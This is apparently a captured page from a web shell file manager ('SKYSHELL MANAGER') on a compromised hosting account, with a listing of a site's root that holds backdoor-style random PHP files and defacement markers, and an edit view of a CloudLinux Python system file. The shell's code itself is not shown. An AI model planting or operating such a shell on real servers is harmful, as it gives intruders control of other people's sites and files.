📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: uidconverter.py
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import pwd from typing import Dict, Optional # NOQA from sqlalchemy.engine import Engine # NOQA from sqlalchemy.orm import sessionmaker from sqlalchemy.orm.exc import NoResultFound from clcommon import cpapi from clcommon.clproc import LIMIT_LVP_ID from lveapi import NameMap from lvestats.lib.commons.func import deserialize_lve_id, serialize_lve_id from lvestats.orm import user __author__ = 'shaman' __all__ = ('uid_to_username', 'username_to_uid') _name_map_cache = None # type: NameMap _id_reseller_map_cache = None # type: Dict[int, str] def _get_name_map(): # type: () -> NameMap global _name_map_cache if _name_map_cache is None: name_map = NameMap() name_map.link_xml_node() _name_map_cache = name_map return _name_map_cache def uid_to_username_local(uid): # type: (int) -> Optional[str] try: return pwd.getpwuid(uid).pw_name except KeyError: return None def _uid_to_reseller_local(uid): # type: (int) -> Optional[str] reseller = _get_name_map().get_name(uid) if reseller is None: try: reseller = pwd.getpwuid(uid).pw_name except KeyError: reseller = _get_reseller_name_from_panel(uid) return reseller def _get_reseller_name_from_panel(uid): # type: (int) -> Optional[str] global _id_reseller_map_cache if _id_reseller_map_cache is None: try: _id_reseller_map_cache = \ {v: k for k, v in cpapi.get_reseller_id_pairs().items()} except cpapi.NotSupported: _id_reseller_map_cache = {} reseller = _id_reseller_map_cache.get(uid) return reseller def _reseller_to_uid_local(name): # type: (str) -> Optional[int] return _get_name_map().get_id(name) def reseller_to_uid(name): result = _reseller_to_uid_local(name) if result is not None: return serialize_lve_id(LIMIT_LVP_ID, result) def username_to_uid_local(username): # type: (str) -> Optional[int] try: return pwd.getpwnam(username).pw_uid except KeyError: return None def _uid_to_username_db(uid, server_id, db_engine): # type: (int, str, Engine) -> Optional[str] session = sessionmaker(bind=db_engine)() try: user_inst = session.query(user).filter(user.uid == uid, user.server_id == server_id).one() except NoResultFound: return None finally: session.close() return user_inst.user_name def _uid_to_reseller_db(uid, server_id, db_engine): # type: (int, str, Engine) -> Optional[str] # FIXME: store reseller's names in db (centralized database on Plesk/DA) return _uid_to_username_db(uid, server_id, db_engine) def _username_to_uid_db(username, server_id, db_engine): # type: (str, str, Engine) -> Optional[int] session = sessionmaker(bind=db_engine)() try: user_inst = session.query(user).filter(user.user_name == username, user.server_id == server_id).one() except NoResultFound: return None finally: session.close() return user_inst.uid def uid_to_username(uid, local_server_id, server_id, db_engine): # type: (int, str, str, Engine) -> Optional[str] if None in (uid, local_server_id, server_id, db_engine): raise ValueError("All parameters should be specified and not None for uid_to_username()") uid, is_reseller = deserialize_lve_id(uid) uid_to_name_local_func = _uid_to_reseller_local if is_reseller else uid_to_username_local uid_to_name_database_func = _uid_to_reseller_db if is_reseller else _uid_to_username_db if server_id == local_server_id: result = uid_to_name_local_func(uid) if result: return result return uid_to_name_database_func(uid, server_id, db_engine) def username_to_uid(username, local_server_id, server_id, db_engine): # type: (str, str, str, Engine) -> Optional[int] """ Lookups for uid in local user database (/etc/passwd) and global one (table lve_stats2_user). If local_server_id equals to server_id then local user database has priority. """ if None in (username, local_server_id, server_id, db_engine): raise ValueError("All parameters should be specified and not None for username_to_uid()") if server_id == local_server_id: result = username_to_uid_local(username) if result: return result return _username_to_uid_db(username, server_id, db_engine) def convert_id_to_lvp_id(any_id): # type: (int) -> int dummy, is_reseller = deserialize_lve_id(any_id) if is_reseller: return any_id else: return serialize_lve_id(LIMIT_LVP_ID, any_id) def convert_name_to_lvp_id(name): # type: (str) -> int lvp_id = reseller_to_uid(name) if lvp_id: return lvp_id return -1
Save